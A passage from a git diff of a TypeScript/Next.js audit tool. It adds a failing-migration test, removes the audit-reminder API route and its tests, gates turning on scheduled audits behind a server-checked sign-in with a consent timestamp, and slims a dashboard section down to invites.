+ // is current. A `3 → 4` that then throws used to leave exactly that claim
+ // standing: `detectLayout()` said `current`, nothing ever retried, and
+ // `auth.json` stayed at the root while layout 4 read `audit/session.json` —
+ // the machine silently signed out with its own session still on disk.
+ seedLayoutTwo();
+ writeFileSync(legacy.authJson(), '{"access_token":"at"}', { mode: 0o600 });
+ // Make the 3 → 4 step fail for a real reason: the destination already
+ // exists, so it deletes the layout-3 original — and a DIRECTORY there makes
+ // that delete throw EISDIR (`rmSync(force)` suppresses ENOENT and nothing
+ // else).
+ mkdirSync(auditDir(), { recursive: true });
+ writeFileSync(auditSessionFile(), '{"access_token":"already-here"}', { mode: 0o600 });
+ rmSync(legacy.authJson(), { force: true });
+ mkdirSync(legacy.authJson(), { recursive: true });
+ writeFileSync(resolve(legacy.authJson(), "trapped"), "x");
+
+ const run = runMigrations(2);
+
+ expect(run.failed?.from).toBe(3);
+ // Behind this build, so the next command plans the chain again.
+ expect(readVersionFile()!.layout).toBeLessThan(LAYOUT_VERSION);
+ expect(detectLayout().kind).toBe("stale");
+ });
+
it("does not run any step after the failing one", () => {
let thirdRan = false;
const chain: Migration[] = [
@@ -486,7 +792,16 @@ describe("describePlan", () => {
const lines = describePlan(2).join("\n");
expect(lines).toContain(`Layout 2 on disk; this build speaks ${LAYOUT_VERSION}`);
- expect(lines).toContain("1 step(s) would run");
+ // The COUNT was derived from `planMigration(2)`, which is the function whose
+ // output the report describes — so the assertion held for whatever chain
+ // that returned, including an empty one, and proved nothing about the dry
+ // run being accurate. A dry run's entire job is to state the real chain
+ // before anything is touched, so the steps are named literally here: this
+ // has to fail when layout 5 lands, because that is exactly the moment the
+ // report starts describing a chain nobody checked.
+ expect(lines).toContain("2 step(s) would run");
+ expect(lines).toContain("layout 2 → 3");
+ expect(lines).toContain("layout 3 → 4");
expect(lines).toContain("config.toml");
// The promise a dry run makes.
expect(existsSync(migrationLedgerFile())).toBe(false);
diff --git a/__tests__/lib/api-server-client.test.ts b/__tests__/lib/api-server-client.test.ts
index c67803dbb..a3232630b 100644
--- a/__tests__/lib/api-server-client.test.ts
+++ b/__tests__/lib/api-server-client.test.ts
@@ -9,10 +9,8 @@ vi.mock("@/lib/telemetry", () => ({
import {
AuthApiError,
- cancelReminder,
decodeJwt,
requestLoginCode,
- scheduleReminder,
sendInvites,
} from "@/lib/auth/api-server-client";
@@ -75,62 +73,6 @@ describe("api-server-client fetchWithTimeout telemetry", () => {
});
});
-describe("scheduleReminder", () => {
- const originalFetch = globalThis.fetch;
- afterEach(() => {
- globalThis.fetch = originalFetch;
- trackEventMock.mockClear();
- });
-
- it("POSTs /v0/reminders with the access token and returns the unwrapped reminder", async () => {
- const reminder = { user_id: "u", email: "a@b.co", fire_at: 1, set_at: 0 };
- const fetchMock = vi.fn(async () =>
- new Response(JSON.stringify({ reminder }), { status: 200 }),
- ) as unknown as typeof fetch;
- globalThis.fetch = fetchMock;
-
- const out = await scheduleReminder("at-1", { in_days: 7 });
- expect(out).toEqual(reminder);
- const [, init] = (fetchMock as unknown as { mock: { calls: [string, RequestInit][] } }).mock.calls[0];
- expect(init.method).toBe("POST");
- expect((init.headers as Record).authorization).toBe("Bearer at-1");
- });
-
- it("throws AuthApiError on non-OK responses", async () => {
- globalThis.fetch = vi.fn(async () =>
- new Response(JSON.stringify({ code: "rate_limited", message: "slow down" }), { status: 429 }),
- ) as unknown as typeof fetch;
- await expect(scheduleReminder("at-1", { in_days: 7 })).rejects.toBeInstanceOf(AuthApiError);
- });
-});
-
-describe("cancelReminder", () => {
- const originalFetch = globalThis.fetch;
- afterEach(() => {
- globalThis.fetch = originalFetch;
- trackEventMock.mockClear();
- });
-
- it("DELETEs /v0/reminders with the access token and resolves on 204", async () => {
- const fetchMock = vi.fn(async () =>
- new Response(null, { status: 204 }),
- ) as unknown as typeof fetch;
- globalThis.fetch = fetchMock;
-
- await expect(cancelReminder("at-1")).resolves.toBeUndefined();
- const [, init] = (fetchMock as unknown as { mock: { calls: [string, RequestInit][] } }).mock.calls[0];
- expect(init.method).toBe("DELETE");
- expect((init.headers as Record).authorization).toBe("Bearer at-1");
- });
-
- it("throws AuthApiError on non-OK responses", async () => {
- globalThis.fetch = vi.fn(async () =>
- new Response(JSON.stringify({ code: "unauthorized", message: "no" }), { status: 401 }),
- ) as unknown as typeof fetch;
- await expect(cancelReminder("at-1")).rejects.toBeInstanceOf(AuthApiError);
- });
-});
-
describe("sendInvites", () => {
const originalFetch = globalThis.fetch;
afterEach(() => {
diff --git a/__tests__/lib/auth-store.test.ts b/__tests__/lib/auth-store.test.ts
index 04ef3b69e..f71b4e2d0 100644
--- a/__tests__/lib/auth-store.test.ts
+++ b/__tests__/lib/auth-store.test.ts
@@ -5,15 +5,10 @@ import { tmpdir } from "node:os";
import { join } from "node:path";
import {
deleteAuth,
- deleteReminder,
getAuthFilePath,
- getReminderFilePath,
readAuth,
- readReminder,
writeAuth,
- writeReminder,
type StoredAuth,
- type StoredReminder,
} from "../../lib/auth/auth-store";
function fakeAuth(overrides: Partial = {}): StoredAuth {
@@ -28,15 +23,6 @@ function fakeAuth(overrides: Partial = {}): StoredAuth {
};
}
-function fakeReminder(overrides: Partial = {}): StoredReminder {
- return {
- next_audit_at: Math.floor(Date.now() / 1000) + 7 * 86400,
- user_email: "alice@example.com",
- set_at: Math.floor(Date.now() / 1000),
- ...overrides,
- };
-}
-
describe("auth-store", () => {
let dir: string;
let originalAuthDir: string | undefined;
@@ -113,55 +99,4 @@ describe("auth-store", () => {
});
});
- describe("reminder", () => {
- it("returns null when no reminder file exists", () => {
- expect(readReminder()).toBeNull();
- });
-
- it("round-trips a written reminder", () => {
- const r = fakeReminder();
- writeReminder(r);
- const out = readReminder();
- expect(out).toEqual(r);
- });
-
- it("scopes by user_email — the consumer enforces this", () => {
- writeReminder(fakeReminder({ user_email: "bob@example.com" }));
- const out = readReminder();
- expect(out?.user_email).toBe("bob@example.com");
- });
-
- it("rejects shape mismatches as null", () => {
- writeFileSync(getReminderFilePath(), JSON.stringify({ next_audit_at: "string" }), "utf-8");
- expect(readReminder()).toBeNull();
- });
-
- it("deleteReminder removes the file", () => {
- writeReminder(fakeReminder());
- expect(existsSync(getReminderFilePath())).toBe(true);
- deleteReminder();
- expect(existsSync(getReminderFilePath())).toBe(false);
- });
-
- it("overwrites the existing reminder atomically", () => {
- writeReminder(fakeReminder({ next_audit_at: 1 }));
- writeReminder(fakeReminder({ next_audit_at: 2 }));
- expect(readReminder()?.next_audit_at).toBe(2);
- });
-
- it("writes mode 0600 on the reminder file", () => {
- writeReminder(fakeReminder());
- const mode = statSync(getReminderFilePath()).mode & 0o777;
- // World- and group-read bits must be cleared — next-audit.json stores
- // the user_email scoping key and gets the same hardening as auth.json.
- expect(mode & 0o004).toBe(0);
- expect(mode & 0o040).toBe(0);
- });
-
- it("atomic write leaves no .tmp siblings behind on success", () => {
- writeReminder(fakeReminder());
- const leftover = readdirSync(dir).filter((f) => f.includes(".tmp"));
- expect(leftover).toEqual([]);
- });
- });
});
diff --git a/app/actions/get-scheduled-audit.ts b/app/actions/get-scheduled-audit.ts
index a63b63f28..1d5c8c779 100644
--- a/app/actions/get-scheduled-audit.ts
+++ b/app/actions/get-scheduled-audit.ts
@@ -8,20 +8,27 @@
* ## CLI ⟷ dashboard parity (state it here so the two cannot silently diverge)
*
* Every field this returns is the same `config.toml` / state the CLI reads:
- * - `auto` ⟷ `config.toml [audit] auto` (readConfig / updateConfig;
- * the same key the `failproofai config` wizard sets)
- * - `intervalDays` ⟷ `config.toml [audit] interval_days` (readConfig owns the
+ * - `auto` ⟷ `config.json [audit] auto` (readConfig / updateConfig —
+ * the same call `failproofai audit --schedule` makes, so
+ * the two cannot diverge)
+ * - `intervalDays` ⟷ `config.json [audit] interval_days` (readConfig owns the
* 1..90 clamp — see fp-config.readIntervalDays)
* - `daemon` ⟷ `systemctl status failproofaid@` (daemonServiceStatus)
- * - `schedule` ⟷ `state/audit-schedule.json` (daemon-written; readAuditSchedule)
+ * - `schedule` ⟷ `audit/schedule.json` (daemon-written; readAuditSchedule)
+ * - `lastScan` ⟷ `audit/audit-dashboard.json` (the same result /audit renders)
* There is no bespoke dashboard storage here: writing goes through the exact
* same `updateConfig` the CLI uses, so a value set on either side is identical.
*/
import { readConfig } from "@/src/hooks/fp-config";
import { readAuditSchedule } from "@/src/audit/audit-schedule";
-import { daemonServiceStatus, type DaemonServiceStatus } from "@/src/hooks/daemon-service";
+import {
+ daemonServiceStatus,
+ daemonStartedAtMs,
+ type DaemonServiceStatus,
+} from "@/src/hooks/daemon-service";
import { readDashboardCacheMeta } from "@/src/audit/dashboard-cache";
+import { readAuth } from "@/lib/auth/auth-store";
export interface ScheduledAuditSchedule {
nextDueAtMs: number | null;
@@ -31,11 +38,37 @@ export interface ScheduledAuditSchedule {
schemaAhead: boolean;
}
+/**
+ * What the most recent audit on this machine found — scheduled OR manual.
+ *
+ * Read past the dashboard cache's TTL on purpose (see
+ * `readDashboardCacheMeta`): this stat's whole subject is how long ago the scan
+ * was, so dropping it for being old would blank the one cell that exists to say
+ * so. Counts are the same fields /audit renders, never recomputed here.
+ */
+export interface ScheduledAuditLastScan {
+ finishedAt: string;
+ /** Total policy hits. Null means the cached result was unreadable — a
+ * different claim from 0, which means the scan found nothing. */
+ findings: number | null;
+ sessionsScanned: number | null;
+ eventsScanned: number | null;
+}
+
export interface ScheduledAuditView {
/** `[audit] auto` — whether the daemon scans on a timer. */
auto: boolean;
/** `[audit] interval_days`, already clamped to 1..90 by readConfig. */
intervalDays: number;
+ /**
+ * Who this machine would mail, or null when signed out.
+ *
+ * Read from the local session file rather than round-tripped to the
+ * api-server: the file is the source of truth for who is signed in on this
+ * machine, and a settings panel that went blank because the network was down
+ * would be reporting on the wrong thing.
+ */
+ signedInAs: { id: string; email: string } | null;
/** The systemd/launchd service state. The scheduler cannot run without a
* running daemon, so a settings page that hides this reads "on but silent". */
daemon: DaemonServiceStatus;
@@ -45,6 +78,16 @@ export interface ScheduledAuditView {
* or null if no audit has ever produced a dashboard. Distinct from
* `schedule.lastRunAtMs`, which is scheduled runs only. */
lastResultAt: string | null;
+ /** That same result's counts, for the LAST SCAN / FINDINGS stats. */
+ lastScan: ScheduledAuditLastScan | null;
+ /**
+ * Epoch ms the running daemon started, or null when it is not running, the
+ * platform cannot answer, or the answer would be a guess.
+ *
+ * An absolute time rather than "up 11d" so the page keeps counting on its own;
+ * a duration computed here is stale the moment it renders.
+ */
+ daemonStartedAtMs: number | null;
}
export async function getScheduledAuditAction(): Promise {
@@ -52,10 +95,14 @@ export async function getScheduledAuditAction(): Promise {
const schedule = readAuditSchedule();
const meta = readDashboardCacheMeta();
+ const auth = readAuth();
+ const daemon = daemonServiceStatus();
+
return {
auto: config.audit.auto,
intervalDays: config.audit.intervalDays,
- daemon: daemonServiceStatus(),
+ signedInAs: auth ? { id: auth.user.id, email: auth.user.email } : null,
+ daemon,
schedule: schedule
? {
nextDueAtMs: schedule.nextDueAtMs,
@@ -66,5 +113,17 @@ export async function getScheduledAuditAction(): Promise {
}
: null,
lastResultAt: meta?.cachedAt ?? null,
+ lastScan: meta
+ ? {
+ finishedAt: meta.cachedAt,
+ findings: meta.findings,
+ sessionsScanned: meta.sessionsScanned,
+ eventsScanned: meta.eventsScanned,
+ }
+ : null,
+ // Only asked when the service is actually up: systemd keeps the LAST
+ // activation stamp on a stopped unit, so reading it unconditionally would
+ // report an uptime for a daemon that is not running.
+ daemonStartedAtMs: daemon === "running" ? daemonStartedAtMs() : null,
};
}
diff --git a/app/actions/update-scheduled-audit.ts b/app/actions/update-scheduled-audit.ts
index 8417fe708..0c6eabfa1 100644
--- a/app/actions/update-scheduled-audit.ts
+++ b/app/actions/update-scheduled-audit.ts
@@ -1,29 +1,104 @@
"use server";
/**
- * Write side of the /settings "Scheduled audit" section. Every write goes
- * through `updateConfig` — never a raw file write — so the layout-2 config
- * helpers stay the single writer of `config.toml` and the dashboard can never
- * disagree with what the CLI reads.
+ * Write side of the /settings scheduled-audit panel. Every write goes through
+ * `updateConfig` — never a raw file write — so `fp-config` stays the single
+ * writer of `config.json` and the dashboard can never disagree with what the
+ * CLI reads.
*
* ## CLI ⟷ dashboard parity
- * - `setAutoAuditAction(enabled)` ⟷ `[audit] auto` (updateConfig)
- * - `setAuditIntervalAction(days)` ⟷ `[audit] interval_days` (updateConfig)
- * Both keys are exactly what the `failproofai config` wizard writes, so a value
- * set here is indistinguishable from one set on the CLI.
+ * - `setAutoAuditAction(enabled)` ⟷ `[audit] auto`
+ * - `setAuditIntervalAction(days)` ⟷ `[audit] interval_days`
+ *
+ * Both go through the same `updateConfig` the CLI uses — `failproofai audit
+ * --schedule` / `--no-schedule` call it too — so a value set on either side is
+ * byte-identical. That is the whole mechanism behind "the two
+ * surfaces are always in sync": there is one file, one writer function, and no
+ * second copy of the state to drift.
*/
import { readConfig, updateConfig } from "@/src/hooks/fp-config";
+import { readAuth, whoAmI } from "@/lib/auth/auth-store";
+
+/**
+ * The outcome of trying to turn scheduling on.
+ *
+ * "Signed out" is RETURNED, not thrown, and that is the whole point of this
+ * type. Next masks a server action's thrown error before the browser sees it —
+ * the client gets an opaque digest, never the message — so a caller matching on
+ * the text works in development and silently degrades to a generic failure in
+ * production, which is exactly what happened: the page showed an address it had
+ * read from the local session file, the toggle took the signed-in path, and the
+ * user got "could not turn that on." with no way forward from that click.
+ *
+ * A returned discriminant survives the boundary, so the caller can open the
+ * sign-in dialog for the one failure that has an obvious next step.
+ */
+export type SetAutoAuditResult =
+ | { ok: true; auto: boolean }
+ | { ok: false; reason: "signed-out" }
+ /**
+ * The session is intact locally and the api-server could not be reached.
+ *
+ * Separated from `signed-out` because `whoAmI()` collapses them: it returns
+ * null for a 401 AND for every transport failure, so an offline machine, a
+ * proxy that blocks the host, and a genuinely expired token were one answer.
+ * The user was told "that sign-in expired" and handed a code prompt that
+ * cannot succeed either — the failure it names is not the failure they have,
+ * and following its advice costs them a real, working session.
+ */
+ | { ok: false; reason: "unreachable" };
/**
* Turn the scheduled scan on or off.
*
+ * Turning it ON is refused without a session. Scheduling and mailing are ONE
+ * decision — the reason to put a scan on a timer is to be told what it found —
+ * so a machine with the timer set and nobody to tell is a switch that reads as
+ * on and produces nothing, discoverable only by noticing that no digest ever
+ * arrives. The caller signs the user in first and retries.
+ *
+ * `whoAmI()` asks the SERVER, so this refuses in a case the page cannot see: a
+ * session file that exists locally but whose refresh token the api-server has
+ * rejected. The local file is what the page reads to show "reports go to …", so
+ * the two disagree exactly when a session has expired or was minted against a
+ * different server — and that disagreement is the common case, not an edge one.
+ *
+ * Turning it OFF never checks. An expired session must not be able to trap
+ * somebody into keeping a feature they are trying to disable.
+ *
+ * Note this gates SETTING UP the timer, not the machine's ongoing work: a
+ * session that later expires leaves the timer running and the local scan
+ * working, and only the digest stops. See `report-harm.ts`.
+ *
* Returns the value actually stored (re-read), so an optimistic UI can confirm
* against the source of truth rather than assume its own guess landed.
*/
-export async function setAutoAuditAction(enabled: boolean): Promise<{ auto: boolean }> {
- const next = updateConfig({ audit: { auto: enabled } });
- return { auto: next.audit.auto };
+export async function setAutoAuditAction(enabled: boolean): Promise {
+ if (enabled) {
+ const who = await whoAmI();
+ if (!who) {
+ // `whoAmI()` deletes the session on a 401 and leaves it alone on a
+ // transport failure, so what is left ON DISK is the one thing that tells
+ // the two apart — no extra request, and nothing new that can fail.
+ const local = readAuth();
+ const stillWithinWindow = local && local.refresh_expires_at * 1000 > Date.now();
+ return { ok: false, reason: stillWithinWindow ? "unreachable" : "signed-out" };
+ }
+ }
+ // Enabling stamps consent in the same write, because the `whoAmI()` above is
+ // exactly what makes this a consent record rather than a guess: a person was
+ // present, signed in, and looking at the panel that enumerates what gets
+ // sent. `reportHarm` gates sending on the stamp, not on `auto`, so a machine
+ // that inherited `auto` from a release where it meant "scan locally on a
+ // timer" mails nothing until somebody passes through here or the CLI.
+ //
+ // Disabling leaves the stamp alone. It is a record of something that did
+ // happen, and it grants nothing on its own — sending needs `auto` too.
+ const next = updateConfig({
+ audit: enabled ? { auto: true, reportsConsentedAt: Date.now() } : { auto: false },
+ });
+ return { ok: true, auto: next.audit.auto };
}
/**
@@ -31,14 +106,12 @@ export async function setAutoAuditAction(enabled: boolean): Promise<{ auto: bool
*
* The clamp lives in `fp-config.readIntervalDays` (1..90, with 0/negatives/
* fractions falling back to the default) and is DELIBERATELY not reimplemented
- * here: we write the raw value and then RE-READ, so what we return to the UI is
- * exactly what the config decided to keep. Reflecting the re-read value is how a
- * hand-typed 3650 shows up in the dashboard as the 90 the config actually
- * enforces, with no second copy of the bounds to drift.
+ * here: we write the raw value and then RE-READ, so what comes back is exactly
+ * what the config decided to keep. Reflecting the re-read value is how a
+ * hand-typed 3650 shows up as the 90 the config actually enforces, with no
+ * second copy of the bounds to drift.
*/
export async function setAuditIntervalAction(days: number): Promise<{ intervalDays: number }> {
updateConfig({ audit: { intervalDays: days } });
- // Re-read through readConfig so the returned value carries the config's own
- // clamp, not the raw input.
return { intervalDays: readConfig().audit.intervalDays };
}
diff --git a/app/api/auth/reminder/route.ts b/app/api/auth/reminder/route.ts
deleted file mode 100644
index d8a45201a..000000000
--- a/app/api/auth/reminder/route.ts
+++ /dev/null
@@ -1,213 +0,0 @@
-/**
- * /api/auth/reminder
- *
- * GET — current reminder state (if any, scoped to the signed-in user)
- * POST — set or update the next-audit reminder; requires an active session
- * DELETE — clear the reminder
- *
- * Reminder timestamp lives in ~/.failproofai/next-audit.json. The dashboard
- * AND the CLI can read it later (we just persist intent here; the actual
- * email send is wired separately when the scheduler is built).
- */
-import { NextRequest, NextResponse } from "next/server";
-import {
- deleteReminder,
- readReminder,
- whoAmI,
- writeReminder,
-} from "@/lib/auth/auth-store";
-import {
- AuthApiError,
- cancelReminder,
- scheduleReminder,
-} from "@/lib/auth/api-server-client";
-import { initTelemetry, trackEvent } from "@/lib/telemetry";
-
-export const dynamic = "force-dynamic";
-
-const DEFAULT_OFFSET_DAYS = 7;
-const MAX_OFFSET_DAYS = 365;
-
-export async function GET(): Promise {
- const who = await whoAmI();
- const reminder = readReminder();
- if (!reminder) {
- return NextResponse.json({ authenticated: !!who, reminder: null });
- }
- // If the reminder belongs to a different user (or no one is signed in),
- // surface it as null so the UI doesn't show "next audit set for alice"
- // when bob is the current session.
- if (!who || who.me.email !== reminder.user_email) {
- return NextResponse.json({ authenticated: !!who, reminder: null });
- }
- return NextResponse.json({
- authenticated: true,
- reminder: {
- next_audit_at: reminder.next_audit_at,
- user_email: reminder.user_email,
- set_at: reminder.set_at,
- },
- });
-}
-
-interface SetBody {
- /** Days from now until the reminder fires. Default: 7. */
- in_days?: unknown;
- /** Absolute unix-seconds timestamp. Wins over in_days when both are sent. */
- at?: unknown;
-}
-
-export async function POST(req: NextRequest): Promise {
- await initTelemetry();
- const who = await whoAmI();
- if (!who) {
- trackEvent("audit_reminder_set", { status: "unauthorized", source: "dashboard" });
- return NextResponse.json(
- { code: "unauthorized", message: "Sign in before setting a reminder." },
- { status: 401 },
- );
- }
- let body: SetBody = {};
- // Distinguish three cases:
- // 1. empty body → defaults (7d from now)
- // 2. malformed JSON → 400 Bad Request (don't silently swap to {})
- // 3. valid JSON, not obj → 400 Bad Request (arrays/primitives are not SetBody)
- const raw = await req.text();
- if (raw.trim().length > 0) {
- let parsed: unknown;
- try {
- parsed = JSON.parse(raw);
- } catch {
- trackEvent("audit_reminder_set", {
- status: "validation_error",
- source: "dashboard",
- reason: "malformed_json",
- user_id: who.me.id,
- });
- return NextResponse.json(
- { code: "validation_error", message: "Request body is not valid JSON." },
- { status: 400 },
- );
- }
- if (parsed === null || typeof parsed !== "object" || Array.isArray(parsed)) {
- trackEvent("audit_reminder_set", {
- status: "validation_error",
- source: "dashboard",
- reason: "not_an_object",
- user_id: who.me.id,
- });
- return NextResponse.json(
- { code: "validation_error", message: "Request body must be a JSON object." },
- { status: 400 },
- );
- }
- body = parsed as SetBody;
- }
- const nowSecs = Math.floor(Date.now() / 1000);
- const maxAt = nowSecs + MAX_OFFSET_DAYS * 86400;
- let nextAuditAt: number;
- if (typeof body.at === "number" && Number.isFinite(body.at)) {
- nextAuditAt = Math.floor(body.at);
- } else {
- const offsetDays =
- typeof body.in_days === "number" && Number.isFinite(body.in_days)
- ? Math.max(1, Math.min(MAX_OFFSET_DAYS, Math.floor(body.in_days)))
- : DEFAULT_OFFSET_DAYS;
- nextAuditAt = nowSecs + offsetDays * 86400;
- }
- if (nextAuditAt <= nowSecs) {
- trackEvent("audit_reminder_set", {
- status: "validation_error",
- source: "dashboard",
- reason: "in_the_past",
- user_id: who.me.id,
- });
- return NextResponse.json(
- { code: "validation_error", message: "Reminder must be in the future." },
- { status: 400 },
- );
- }
- // Upper-bound guard: catches the common foot-gun where a caller passes
- // `Date.now()` (ms) instead of unix-seconds — would otherwise persist a
- // year-55000 reminder, render "in 19000000 days", and send nonsense
- // fire_at to the upstream scheduler.
- if (nextAuditAt > maxAt) {
- trackEvent("audit_reminder_set", {
- status: "validation_error",
- source: "dashboard",
- reason: "too_far_in_future",
- user_id: who.me.id,
- });
- return NextResponse.json(
- {
- code: "validation_error",
- message: `Reminder must be within ${MAX_OFFSET_DAYS} days. Did you pass milliseconds instead of seconds?`,
- },
- { status: 400 },
- );
- }
- const reminder = {
- next_audit_at: nextAuditAt,
- user_email: who.me.email,
- set_at: nowSecs,
- };
- writeReminder(reminder);
- // Forward to the api-server scheduler so it can deliver via SES. The local
- // file is the dashboard/CLI source-of-truth; the api-server holds the
- // delivery slot. We tolerate upstream failure — the local write already
- // succeeded and the user gets a usable response.
- let upstream: "scheduled" | "failed" | "skipped" = "skipped";
- let upstreamError: string | null = null;
- try {
- await scheduleReminder(who.auth.access_token, { at: nextAuditAt });
- upstream = "scheduled";
- } catch (err) {
- upstream = "failed";
- upstreamError =
- err instanceof AuthApiError
- ? `${err.code}: ${err.message}`.slice(0, 200)
- : err instanceof Error
- ? err.message.slice(0, 200)
- : String(err).slice(0, 200);
- }
- trackEvent("audit_reminder_set", {
- status: "success",
- source: "dashboard",
- user_id: who.me.id,
- offset_days: Math.round((nextAuditAt - nowSecs) / 86400),
- upstream,
- upstream_error: upstreamError,
- });
- return NextResponse.json({ authenticated: true, reminder });
-}
-
-export async function DELETE(): Promise {
- await initTelemetry();
- const who = await whoAmI();
- const existing = readReminder();
- deleteReminder();
- let upstream: "cancelled" | "failed" | "skipped" = "skipped";
- let upstreamError: string | null = null;
- if (who) {
- try {
- await cancelReminder(who.auth.access_token);
- upstream = "cancelled";
- } catch (err) {
- upstream = "failed";
- upstreamError =
- err instanceof AuthApiError
- ? `${err.code}: ${err.message}`.slice(0, 200)
- : err instanceof Error
- ? err.message.slice(0, 200)
- : String(err).slice(0, 200);
- }
- }
- trackEvent("audit_reminder_cleared", {
- source: "dashboard",
- had_local_reminder: existing !== null,
- user_id: who?.me.id ?? null,
- upstream,
- upstream_error: upstreamError,
- });
- return NextResponse.json({ ok: true });
-}
diff --git a/app/api/auth/status/route.ts b/app/api/auth/status/route.ts
index 34d316bc3..69497ea7a 100644
--- a/app/api/auth/status/route.ts
+++ b/app/api/auth/status/route.ts
@@ -2,40 +2,30 @@
* GET /api/auth/status
*
* Returns the currently signed-in identity by reading the local
- * `~/.failproofai/auth.json` cache. No round-trip to the api-server — the
+ * `~/.failproofai/audit/session.json` cache. No round-trip to the api-server — the
* file is the source of truth for who is signed in on this machine.
* This keeps the dashboard UI and the CLI consistent regardless of whether
* the api-server is reachable.
*
- * Also returns the user's persisted re-audit reminder (if any). The reminder
- * lives in ~/.failproofai/next-audit.json and is only surfaced when its
- * `user_email` matches the active session — so swapping accounts via CLI
- * does not leak a previous user's reminder into the dashboard.
+ * Reminders are gone: the machine now audits itself on a timer and mails a
+ * digest when it finds harm, so there is nothing to nudge anyone about. The
+ * scheduled-scan state lives in `getScheduledAuditAction`, which reads it from
+ * the config and the daemon rather than from here.
*/
import { NextResponse } from "next/server";
-import { readAuth, readReminder } from "@/lib/auth/auth-store";
+import { readAuth } from "@/lib/auth/auth-store";
export const dynamic = "force-dynamic";
export async function GET(): Promise {
const auth = readAuth();
if (!auth) {
- return NextResponse.json({ authenticated: false, reminder: null }, { status: 200 });
+ return NextResponse.json({ authenticated: false }, { status: 200 });
}
- const reminderRaw = readReminder();
- const reminder =
- reminderRaw && reminderRaw.user_email === auth.user.email
- ? {
- next_audit_at: reminderRaw.next_audit_at,
- user_email: reminderRaw.user_email,
- set_at: reminderRaw.set_at,
- }
- : null;
return NextResponse.json(
{
authenticated: true,
user: { id: auth.user.id, email: auth.user.email },
- reminder,
},
{ status: 200 },
);
diff --git a/app/audit/_components/audit-dashboard.tsx b/app/audit/_components/audit-dashboard.tsx
index ce64dfc3f..372325e8a 100644
--- a/app/audit/_components/audit-dashboard.tsx
+++ b/app/audit/_components/audit-dashboard.tsx
@@ -10,7 +10,7 @@
* 02 StrengthsSection — what it's great at
* 03 QuirksSection — what slipped through
* 04 HowToImproveSection — install / configure
- * 05 ComeBackBetterSection — reminder + perks
+ * 05 ComeBackBetterSection — spread the audit (invite)
*
* Empty / running states fall back to EmptyState and RunProgress.
*/
@@ -355,11 +355,7 @@ function MainReport({
projected={projected}
projectedGrade={projectedGrade}
/>
- onRerun("return_section")}
- score={score}
- />
+
diff --git a/app/audit/_components/come-back-better-section.tsx b/app/audit/_components/come-back-better-section.tsx
index 68efcbf57..d96800dec 100644
--- a/app/audit/_components/come-back-better-section.tsx
+++ b/app/audit/_components/come-back-better-section.tsx
@@ -1,335 +1,155 @@
"use client";
/**
- * Section 05 — COME BACK BETTER. "build the habit."
+ * Section 05 — SPREAD THE AUDIT.
*
- * Two side-by-side cards:
+ * One job: get someone else to run this on their own machine. The scheduled-
+ * audit controls used to live here too and have moved to `/settings`, reachable
+ * from the gear in the header — they are machine configuration, and this is the
+ * end of a report. Mixing "here is what your agent did" with "here is how to
+ * configure a background service" made the last thing you read before leaving
+ * the page a settings form.
*
- * • Reminder — set a reminder cadence (3d / 7d / 14d / 30d). The cadence
- * selection persists through /api/auth/reminder. Anon users get the
- * AuthDialog first; authed-with-existing-reminder users see the next
- * audit date and can reset.
- *
- * • Unlock perks — share with N friends to unlock pro features for a
- * month. UI only — invite tracking + entitlement is a follow-up; the
- * button opens the same X share intent the poster uses.
- *
- * Re-audit moves out of this section: a small inline "or re-audit now"
- * link sits under the reminder card so the affordance survives without
- * dominating the layout.
+ * The AuthDialog is still here because inviting needs a sender identity to Cc.
+ * It is now the ONLY thing on this section that opens it, which is what makes
+ * the resume unambiguous — the bug this section used to have was a shared
+ * dialog whose success handler assumed which control had opened it.
*/
import { useCallback, useEffect, useRef, useState } from "react";
import { usePostHog } from "@/contexts/PostHogContext";
-import { isAbortError } from "@/lib/fetch-with-timeout";
import { AuthDialog, type AuthedUser } from "./auth-dialog";
import { InviteDialog } from "./invite-dialog";
interface Props {
- isRunning: boolean;
- onRerun: () => void;
/** Current audit score (0–100), forwarded into the invite email body. */
score?: number;
}
-const DEFAULT_REMINDER_DAYS = 7;
-const REMINDER_OPTIONS = [3, 7, 14, 30] as const;
-type Cadence = typeof REMINDER_OPTIONS[number];
-
const PERKS_PERK = "wanna know how your friends' agents score?";
-// The AuthDialog is shared by the reminder and invite CTAs. The reminder path
-// keeps the dialog's default copy; the invite path swaps in login-required
-// copy. Content only — the auth flow is identical for both.
const INVITE_AUTH_COPY = {
headline: "Oops! Login required",
subhead: "What's your email?",
} as const;
-type AuthStatus =
- | { kind: "unknown" }
- | { kind: "anon" }
- | { kind: "authed"; user: { id: string; email: string } };
-
-interface Reminder {
- next_audit_at: number;
- user_email: string;
- set_at: number;
-}
-
-function daysUntil(unixSecs: number): number {
- const nowSecs = Math.floor(Date.now() / 1000);
- return Math.max(0, Math.ceil((unixSecs - nowSecs) / 86400));
-}
-
-function formatNextAudit(unixSecs: number): string {
- const d = new Date(unixSecs * 1000);
- return d.toLocaleDateString(undefined, {
- weekday: "short",
- month: "short",
- day: "numeric",
- });
-}
-
-export function ComeBackBetterSection({ isRunning, onRerun, score }: Props) {
+export function ComeBackBetterSection({ score }: Props) {
const { capture } = usePostHog();
- const [authStatus, setAuthStatus] = useState({ kind: "unknown" });
- const [reminder, setReminder] = useState(null);
- const [cadence, setCadence] = useState(DEFAULT_REMINDER_DAYS);
- const [dialogOpen, setDialogOpen] = useState(false);
- const [inviteDialogOpen, setInviteDialogOpen] = useState(false);
- const [reminderBusy, setReminderBusy] = useState(false);
- // Copy for the shared AuthDialog: {} keeps the reminder defaults,
- // INVITE_AUTH_COPY shows the invite variant. Set by whichever CTA opens the
- // dialog — content selection only, no effect on the auth flow.
- const [authCopy, setAuthCopy] = useState<{ headline?: string; subhead?: string }>({});
- const ctaShownRef = useRef(false);
- const lastRefreshAtRef = useRef(0);
-
- const refreshStatus = useCallback(async () => {
- lastRefreshAtRef.current = Date.now();
- // Preserve current UI state on transient failures (5xx, network blips).
- // Downgrading to anon on every error would clear a valid reminder mid-
- // session on a single failed poll, forcing an unnecessary auth prompt.
- // Only fall through to anon on the very first probe (still "unknown")
- // so the cadence buttons unlock even if the server is unreachable.
- const fallbackToAnonOnError = () => {
- setAuthStatus((prev) => (prev.kind === "unknown" ? { kind: "anon" } : prev));
- };
- try {
- const res = await fetch("/api/auth/status", { cache: "no-store" });
- if (!res.ok) {
- fallbackToAnonOnError();
- return;
- }
- const body = (await res.json()) as {
- authenticated?: boolean;
- user?: { id: string; email: string };
- reminder?: Reminder | null;
- };
- if (body.authenticated && body.user) {
- setAuthStatus({ kind: "authed", user: body.user });
- setReminder(body.reminder ?? null);
- } else {
